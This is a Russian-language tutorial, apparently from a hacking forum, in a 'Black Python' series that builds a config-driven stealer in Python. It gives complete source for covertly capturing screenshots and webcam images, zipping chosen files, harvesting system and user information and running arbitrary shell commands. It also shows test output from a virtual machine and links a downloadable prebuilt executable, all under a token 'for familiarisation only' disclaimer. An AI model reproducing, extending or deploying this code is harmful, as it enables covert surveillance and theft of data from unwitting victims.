Black Python - 4. Module Manager
Не забудь подписаться на https://t.me/the_dark_harborВ очередной статье из цикла Black Python, ты узнаешь как написать несколько простых, но популярных функций и связать их механизмом Module Manager.
Сначала разберем функции:
- Получение скриншота
- Получение снимка с вебкамеры
- Упаковка списка файлов
- Упаковка папки целиком
- Получение информации о компьютере:Список пользователей
- Список разделов
- Информация об ОС
- Выполнение команды командной строки
В первой части статьи я опишу простую реализацию функций, а во второй оберну их в функции-менеджеры (для связи с конфигами)
Сделать скриншот:
Есть несколько способов получения скриншота, опишу два:
pip install pillow
Python:
import PIL.ImageGrab im = PIL.ImageGrab.grab() im.save(filename)
pip install pyautogui
Python:
import pyautogui pyautogui.screenshot(filename)
Объединив в одну функцию с выбором режима, получим:
Python:
def make_screenshot(mode='pil', filename='screenshot.png'): try: if mode.lower() == 'pil': import PIL.ImageGrab im = PIL.ImageGrab.grab() im.save(filename) elif mode.lower() == 'pyautogui': import pyautogui pyautogui.screenshot(filename) except: raise ImportError(f'{mode} not found')
Снимок с веб-камеры:
pip install opencv-python
Python:
def make_web_shot(filename): try: # пробуем импортировать import cv2 cap = cv2.VideoCapture(0) # разогреваем камеру for i in range(30): cap.read() # получаем frame ret, frame = cap.read() # сохраняем снимок cv2.imwrite(filename, frame) cap.release() except Exception as e: raise RuntimeError(e)
Упаковка списка файлов:
Уже использовал эту функцию в одной из предыдущих статей:
Python:
def make_zip(files, filename): # создаем папки до архива(если их нет) make_folders(filename) # открываем через контекстменеджер файл для записи архива with zipfile.ZipFile(filename, 'w') as myzip: # обрабатываем файл по одному for file in files: try: # пробуем добавить файл myzip.write(file) except: # если не получается, то переходим к следующему файлу pass
Упаковка папки:
Функция из модуля shutil:
Python:
shutil.make_archive(archive_name, type, root_directory) # archive_name - имя итогового архива # type - формат архива (например, zip) # root_directory - начальная директория, откуда начать упаковку
Получение информации о компьютере:
pip install psutil
Python:
def get_info(mode): # Список пользователей if mode == 'get_users': return users() # Список разделов elif mode == 'get_partitions': return disk_partitions() # Часть инфы ОС elif mode == 'get_node': node = get_info('get_os') return f"{node['node']} ({node['system']})" # Информация об ОС elif mode == 'get_os': u_info = uname() return {'system': u_info.system, 'release': u_info.release, 'node': u_info.node, 'version': u_info.version} # Иначе выполняем команду else: run_cmd(mode)
Выполнение команд командной строки:
Python:
def run_cmd(cmd, encode='cp866'): # возвращаем вывод результата (текст) return Popen(cmd, shell=True, stdout=PIPE).communicate()[0].decode(encode)
Теперь опишем для вышеизложенных функций менеджеры:
Менеджер для функции скриншота:
Python:
def screenshot_manager(screenshot_config): filename = screenshot_config['filename'] mode = screenshot_config['mode'] make_folders(filename) make_screenshot(mode, filename)
Менеджер для функции снимка с веб камеры:
Python:
def webcam_manager(web_cam_config): filename = web_cam_config['filename'] make_folders(filename) make_web_shot(filename)
Менеджер для упаковки списка файлов:
Python:
def pack_source_manager(source_config): files = [] # добавляем из списка файлов существующие if source_config['files']: files = [file for file in source_config['files'] if os.path.exists(file)] if source_config['sources']: # из каждого файла источника из списка добавляем существующие файлы for source in source_config['sources']: with open(source, 'r') as source_file: files += [file for file in source_file.read().split('\n') if os.path.exists(file)] # отправляем список файлов и имя для архива make_zip(files=files, filename=source_config['zip_filename'])
Менеджер для упаковки папки:
Python:
def collect_manager(collect_config): shutil.make_archive(collect_config['folder'], collect_config['type'], collect_config['folder'])
Менеджер для получения информации:
Python:
def get_info_manager(info_config): info = '' # Проходим по всем режимам for info_mode in ['systeminfo', 'get_os', 'get_partitions', 'get_users']: try: # Если информация получена, то добавляем ее info = f'{info}{str(get_info(info_mode))}\n' except: pass make_folders(info_config['filename']) # сохраняем информацию в файл with open(info_config['filename'], 'w') as info_file: info_file.write(info)
Менеджер для командной строки:
Python:
def run_cmd_manager(cmd_config): # Выполняем команду result = run_cmd(cmd_config['cmd']) # Если имя указано, то сохраняем в файл if cmd_config['filename']: make_folders(cmd_config['filename']) with open(cmd_config['filename'], 'w') as out_file: out_file.write(result)
- requirements.txt
numpy==1.15.4
opencv-python==3.4.4.19
Pillow==5.3.0
psutil==5.4.8
PyAutoGUI==0.9.38
PyMsgBox==1.0.6
PyScreeze==0.1.18
PyTweening==1.0.3
Получается списком установок:
pip install opencv-python pillow pyautogui psutil
У нас есть несколько менеджеров по работе с функциями из этой статьи + geo + tree описанные в предыдущих статьях. Напишем пару функций для запуска любого из них:
Python:
# Связь между названием модуля в конфиге и менеджером module_set = {'source': pack_source_manager, 'collect_result': collect_manager, 'screenshot': screenshot_manager, 'webcam': webcam_manager, 'info': get_info_manager, 'run_cmd': run_cmd_manager} # Функция для запуска модуля def execute_module(config, module_name): if module_name in module_set: module_config = load_module_config(config, module_name) # если конфиг загрузился, то исполняем модуль if module_config: module_set[module_name](module_config) # Функция загрузки конфига def load_module_config(config, module_name): # Если модуль есть в общем конфиге if config.valid_key(module_name): # и этот модуль сейчас должен использоваться if config.config[module_name]['use']: # то возвращаем конфиг для модуля return config.config[module_name] return None
Теперь создадим run.py, который запускает модули из config.json:
run.py:
import json from error_log import ErrorLog from module_manager import execute_module def main(): # Подрубаем лог ошибок error_log = ErrorLog() try: # открываем конфиг with open('config.json', 'r') as config_file: config = json.load(config_file) # Пробуем выполнить каждый модуль for module in config: try: execute_module(config, module) except Exception as e: # при ошибке записываем в лог error_log.add(module, e) except Exception as e: error_log.add(main.__name__, e) error_log.save_log() if __name__ == '__main__': main()
Пример конфигурации (json)
config.json:
{ "source": { "use": true, "files": ["run.py"], "sources": [], "zip_filename": "result\\source.zip" }, "screenshot": { "use": true, "mode": "pil", "filename": "result\\screenshot.png" }, "webcam": { "use": true, "filename": "result\\cam.png" }, "info": { "use": true, "filename": "result\\info.txt" }, "run_cmd": { "use": true, "filename": "result\\cmd.txt", "cmd": "dir c:\\" }, "collect_result": { "use": true, "folder": "result", "type": "zip" } }
Добавление модулей
Для добавления уже созданных раннее модулей (tree, geo) в module_manager.py нужно прописать:
Python:
from tree import tree_manager from geo_position import geo_manager
И добавить подобную конструкцию в execute_module -> module_set: 'name': name_manager.
в config.json добавить:
JSON:
"name": { "use": true, name_config_fields }
use - true/false использовать ли модуль в программе
name_config_fields - поля конфигурации для модуля
Полученная структура проекта:
- additional.py - общие функции для разных модулей
- config.json - конфигурационный файл для run.py
- error_log.py - класс логов ошибок
- module_manager.py - файл с модульными менеджерами и их запуска
- run.py - запуск модуль-менеджера с конфигурацией config.json
Код целиком
additional.py:
import os import zipfile from platform import uname from subprocess import Popen, PIPE, STDOUT, DEVNULL from psutil import users, disk_partitions def make_zip(files, filename): make_folders(filename) with zipfile.ZipFile(filename, 'w') as myzip: for file in files: try: myzip.write(file) except: pass def make_folders(path): try: folder = os.path.dirname(path) if folder and not os.path.exists(folder): os.makedirs(folder) except Exception as e: raise FileNotFoundError(f'Folder not create! {e}') def get_info(mode): if mode == 'get_users': return users() elif mode == 'get_partitions': return disk_partitions() elif mode == 'get_node': node = get_info('get_os') return f"{node['node']} ({node['system']})" elif mode == 'get_os': u_info = uname() return {'system': u_info.system, 'release': u_info.release, 'node': u_info.node, 'version': u_info.version} else: return run_cmd(mode) def run_cmd(cmd, encode='cp866'): return Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT, stdin=DEVNULL).communicate()[0].decode(encode)
error_log.py:
from additional import make_folders class ErrorLog: def __init__(self): self.errors = [] def add(self, module, error): self.errors.append(f'{module} - {error}') def error_list(self): return self.errors def save_log(self, filename='errors.log'): make_folders(filename) if self.errors and filename: with open(filename, 'w') as error_log_file: for error in self.errors: error_log_file.write(f'{error}\n')
module_manager.py:
import os import shutil from additional import make_zip, make_folders, run_cmd, get_info def execute_module(config, module_name): module_set = {'source': pack_source_manager, 'collect_result': collect_manager, 'screenshot': screenshot_manager, 'webcam': webcam_manager, 'info': get_info_manager, 'run_cmd': run_cmd_manager} if module_name in module_set: module_config = load_module_config(config, module_name) if module_config: module_set[module_name](module_config) def load_module_config(config, module_name): if module_name in config: if config[module_name]['use']: return config[module_name] return None def make_screenshot(mode='pil', filename='screenshot.png'): try: if mode.lower() == 'pil': import PIL.ImageGrab im = PIL.ImageGrab.grab() im.save(filename) elif mode.lower() == 'pyautogui': import pyautogui pyautogui.screenshot(filename) except: raise ImportError(f'{mode} not found') def make_web_shot(filename): try: import cv2 cap = cv2.VideoCapture(0) for i in range(30): cap.read() ret, frame = cap.read() cv2.imwrite(filename, frame) cap.release() except Exception as e: raise RuntimeError(e) def pack_source_manager(source_config): files = [] if source_config['files']: files = [file for file in source_config['files'] if os.path.exists(file)] if source_config['sources']: for source in source_config['sources']: with open(source, 'r') as source_file: files += [file for file in source_file.read().split('\n') if os.path.exists(file)] make_zip(files=files, filename=source_config['zip_filename']) def collect_manager(collect_config): shutil.make_archive(collect_config['folder'], collect_config['type'], collect_config['folder']) def screenshot_manager(screenshot_config): filename = screenshot_config['filename'] make_folders(filename) mode = screenshot_config['mode'] make_screenshot(mode, filename) def webcam_manager(web_cam_config): filename = web_cam_config['filename'] make_folders(filename) make_web_shot(filename) def get_info_manager(info_config): info = '' for info_mode in ['systeminfo', 'get_os', 'get_partitions', 'get_users']: try: info = f'{info}{str(get_info(info_mode))}\n' except: pass make_folders(info_config['filename']) with open(info_config['filename'], 'w') as info_file: info_file.write(info) def run_cmd_manager(cmd_config): result = run_cmd(cmd_config['cmd']) if cmd_config['filename']: make_folders(cmd_config['filename']) with open(cmd_config['filename'], 'w') as out_file: out_file.write(result)
run.py:
import json from error_log import ErrorLog from module_manager import execute_module def main(): error_log = ErrorLog() try: with open('config.json', 'r') as config_file: config = json.load(config_file) for module in config: try: execute_module(config, module) except Exception as e: error_log.add(module, e) except Exception as e: error_log.add(main.__name__, e) error_log.save_log() if __name__ == '__main__': main()
Результат работы программы:
- info.txt
Имя узла: GH0STAGEPC
Название ОС: Microsoft Windows 7 Максимальная
Версия ОС: 6.1.7601 Service Pack 1 сборка 7601
Изготовитель ОС: Microsoft Corporation
Параметры ОС: Изолированная рабочая станция
Сборка ОС: Multiprocessor Free
Зарегистрированный владелец: Gh0stage
Зарегистрированная организация:
Код продукта: 00426-292-0000007-85800
Дата установки: 01.12.2018, 0:56:31
Время загрузки системы: 05.12.2018, 19:49:58
Изготовитель системы: innotek GmbH
Модель системы: VirtualBox
Тип системы: x64-based PC
Процессор(ы): Число процессоров - 1.
[01]: Intel64 Family 6 Model 42 Stepping 7 GenuineIntel ~2295 МГц
Версия BIOS: innotek GmbH VirtualBox, 01.12.2006
Папка Windows: C:\Windows
Системная папка: C:\Windows\system32
Устройство загрузки: \Device\HarddiskVolume1
Язык системы: ru;Русский
Язык ввода: ru;Русский
Часовой пояс: (UTC+03:00) Волгоград, Москва, Санкт-Петербург
Полный объем физической памяти: 5 003 МБ
Доступная физическая память: 3 457 МБ
Виртуальная память: Макс. размер: 10 003 МБ
Виртуальная память: Доступна: 8 512 МБ
Виртуальная память: Используется: 1 491 МБ
Расположение файла подкачки: C:\pagefile.sys
Домен: WORKGROUP
Сервер входа в сеть: \\GH0STAGEPC
Исправление(я): Число установленных исправлений - 4.
[01]: KB2534111
[02]: KB2999226
[03]: KB4019990
[04]: KB976902
Сетевые адаптеры: Число сетевых адаптеров - 1.
[01]: Адаптер рабочего стола Intel(R) PRO/1000 MT
Имя подключения: Подключение по локальной сети
DHCP включен: Да
DHCP сервер: цифры
IP-адрес
[01]: тут были цифры
[02]: тут тоже
{'system': 'Windows', 'release': '7', 'node': 'Gh0stagePC', 'version': '6.1.7601'}
[sdiskpart(device='C:\\', mountpoint='C:\\', fstype='NTFS', opts='rw,fixed'), sdiskpart(device='D:\\', mountpoint='D:\\', fstype='CDFS', opts='ro,cdrom')]
[suser(name='Gh0stage', terminal=None, host='0.0.0.0', started=1544028611.0, pid=None)]
- cmd.txt
Том в устройстве C не имеет метки.
Серийный номер тома: 9430-1E7A
Содержимое папки c:\
02.12.2018 19:35 <DIR> AT
02.12.2018 23:13 <DIR> calculator
14.07.2009 06:20 <DIR> PerfLogs
02.12.2018 01:26 <DIR> Program Files
02.12.2018 02:19 <DIR> Program Files (x86)
01.12.2018 03:09 <DIR> py_projects
03.12.2018 20:06 <DIR> stealer0312
01.12.2018 00:56 <DIR> Users
01.12.2018 01:21 <DIR> Windows
0 файлов 0 байт
9 папок 8 753 479 680 байт свободно
- screenshot.png
- errors.log
webcam - DLL load failed: Не найден указанный модуль.
- Причина ошибки
Из-за отсутствия драйвера на вебкамеру
Также были получены:
zip архив result со всеми собранными файлами
zip архив source с файлом конфигов
Как всегда прикрепляю исходники и исполняемый файл с конфигурацией (в этот раз исполняемый файл получился большим, поэтому разделен на 2 архива).
https://mega.nz/#F!Q3IkBKDR!MNyGhZTpIRxSdo4e2bh9ig
Данная статья создана исключительно для ознакомления и не призывает к действиям!